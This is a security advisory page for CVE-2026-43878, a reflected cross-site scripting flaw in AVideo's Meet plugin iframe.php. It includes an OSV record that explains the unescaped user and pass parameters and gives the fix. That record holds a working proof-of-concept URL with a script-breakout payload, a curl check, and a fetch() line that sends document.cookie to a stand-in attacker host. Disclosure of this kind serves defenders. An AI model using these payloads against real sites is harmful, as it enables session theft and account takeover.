CVE-2026-43878: Video Cross-Site Scripting Vulnerability
MODERATECVE-2026-43878 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Video libraries in the Packagist ecosystem. The issue involves reflected xss in plugin/meet/iframe.php via unescaped user and pass parameters in javascript string literal. Remediation is available in the latest vendor maintenance releases.
CVE-2026-43878 at a Glance
Security Impact
CVSS: 6.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-43878
To remediate this vulnerability, upgrade all affected Video dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-43878, inspect your project dependencies for Video:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of Video in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Video, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-43878 Affected Video Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 29.0
|
|
References
Frequently Asked Questions
What is CVE-2026-43878?
Which Video versions are affected?
What version fixes CVE-2026-43878?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-43878?
What CWE is associated with CVE-2026-43878?
How can I check Packagist dependencies for CVE-2026-43878?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mm5f-8q57-4fc4",
"modified" : "2026-05-13T14:19:47Z",
"published" : "2026-05-05T19:15:56Z",
"aliases" : [ "CVE-2026-43878" ],
"summary" : "Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal",
"details" : "## Summary\n\n`plugin/Meet/iframe.php` echoes the attacker-controlled `user` and `pass` query parameters unescaped into a JavaScript double-quoted string literal inside a `<script>` block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.\n\n## Details\n\nRoot cause is a two-step reflection with no escaping applied at the HTML/JS sink.\n\n**Step 1 — `User::loginFromRequestToGet()` at `objects/user.php:3363-3373`** returns the raw concatenation of `$_REQUEST['user']` and `$_REQUEST['pass']` with no URL-encoding, HTML-escaping, or other sanitization:\n\n```php\npublic static function loginFromRequestToGet()\n{\n if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {\n $return = \"user={$_REQUEST['user']}&pass={$_REQUEST['pass']}\";\n if (!empty($_REQUEST['encodedPass'])) {\n $return .= \"&encodedPass=\" . intval($_REQUEST['encodedPass']);\n }\n return $return;\n }\n return \"\";\n}\n```\n\n**Step 2 — `plugin/Meet/iframe.php`** builds `$readyToClose` from that string and emits it into a JS string literal without escaping:\n\n```php\n// plugin/Meet/iframe.php:19-22\n$userCredentials = User::loginFromRequestToGet(); // set in validateMeet.php:19\n$readyToClose = User::getChannelLink($meet->getUsers_id()) . \"?{$userCredentials}\";\nif (Meet::isModerator($meet_schedule_id)) {\n $readyToClose = \"{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}\";\n ...\n}\n```\n\n```php\n// plugin/Meet/iframe.php:115-117\nfunction _readyToClose() {\n document.location = \"<?php echo $readyToClose; ?>\";\n}\n```\n\nNote that `xss_esc()` IS applied a few lines earlier to the adjacent `nameIdentification` parameter (line 45) — the developer knew about XSS here but missed `$userCredentials`. No call to `json_encode`, `htmlspecialchars`, `xss_esc`, or `rawurlencode` is applied to `$readyToClose`.\n\n**Reachability to unauthenticated users.** `plugin/Meet/validateMeet.php` gates on `Meet::canJoinMeetWithReason()` and `Meet::validatePassword()`:\n\n- `Meet::canJoinMeetWithReason()` (`plugin/Meet/Meet.php:399-402`) returns `canJoin=true` for any visitor when the meet is public (`getPublic() == \"2\"`):\n ```php\n if ($meet->getPublic() == \"2\") {\n $obj->canJoin = true;\n $obj->reason = \"Is public\";\n return $obj;\n }\n ```\n- `Meet::validatePassword()` (`plugin/Meet/Meet.php:595-618`) returns `true` when the meet has no password set.\n- `validateMeet.php:27` only blocks unauthenticated users when `getPublic()` is empty.\n\nSo an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.\n\n**Payload construction.** With `user=\";}alert(1);function a(){\"` and `pass=x`, the rendered script becomes:\n\n```javascript\nfunction _readyToClose() {\n document.location = \"CHANNEL_URL?user=\";}alert(1);function a(){\"&pass=x\";\n}\n```\n\nParse flow:\n1. `document.location = \"CHANNEL_URL?user=\";` — assignment completes.\n2. `}` — closes `_readyToClose`.\n3. `alert(1);` — executes immediately at script parse/run time (does NOT require `_readyToClose` to be called).\n4. `function a(){\"&pass=x\";}` — declares a harmless function that absorbs the trailing garbage.\n\n## PoC\n\n**Precondition:** one public Meet schedule with no password (or the attacker supplies `&meet_password=<known>` / is moderator/admin).\n\n1. Attacker sends victim the following URL:\n ```\n https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x\n ```\n URL-decoded `user` payload: `\";}alert(1);function a(){\"`\n\n2. Server reflects the parameters unescaped into the script block on line 116.\n\n3. Victim's browser parses the script; `alert(1)` fires immediately on page load.\n\n4. Verification:\n ```\n $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \\\n | grep -A1 _readyToClose\n function _readyToClose() {\n document.location = \"https://TARGET/channel/...?user=\";}alert(1);function a(){\"&pass=x\";\n ```\n The injected `\";}alert(1);function a(){\"` sequence appears verbatim in the response, closing the JS string and function and executing `alert(1)` at parse time.\n\n5. Realistic exploitation replaces `alert(1)` with a cookie-exfiltration payload:\n ```\n user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=x\n ```\n\n## Impact\n\nReflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:\n\n- Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just `/plugin/Meet/`).\n- Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).\n- Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).\n- Deliver phishing content under the trusted AVideo domain.\n\nThe attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.\n\n## Recommended Fix\n\nApply JSON encoding at the sink in `plugin/Meet/iframe.php:116` so the string is always a valid JS literal regardless of its contents:\n\n```php\nfunction _readyToClose() {\n document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;\n}\n```\n\nAdditionally, harden `User::loginFromRequestToGet()` (`objects/user.php:3363-3373`) to URL-encode the components so downstream sinks cannot be broken out of with `\"`, `<`, or other control characters:\n\n```php\npublic static function loginFromRequestToGet()\n{\n if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {\n $return = \"user=\" . rawurlencode($_REQUEST['user'])\n . \"&pass=\" . rawurlencode($_REQUEST['pass']);\n if (!empty($_REQUEST['encodedPass'])) {\n $return .= \"&encodedPass=\" . intval($_REQUEST['encodedPass']);\n }\n return $return;\n }\n return \"\";\n}\n```\n\nAudit every other caller of `loginFromRequestToGet()` (and any other function that returns raw `$_REQUEST['user']` / `$_REQUEST['pass']`) for similar sinks.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "29.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-mm5f-8q57-4fc4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43878"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-05T19:15:56Z",
"nvd_published_at" : "2026-05-11T22:22:12Z"
}
}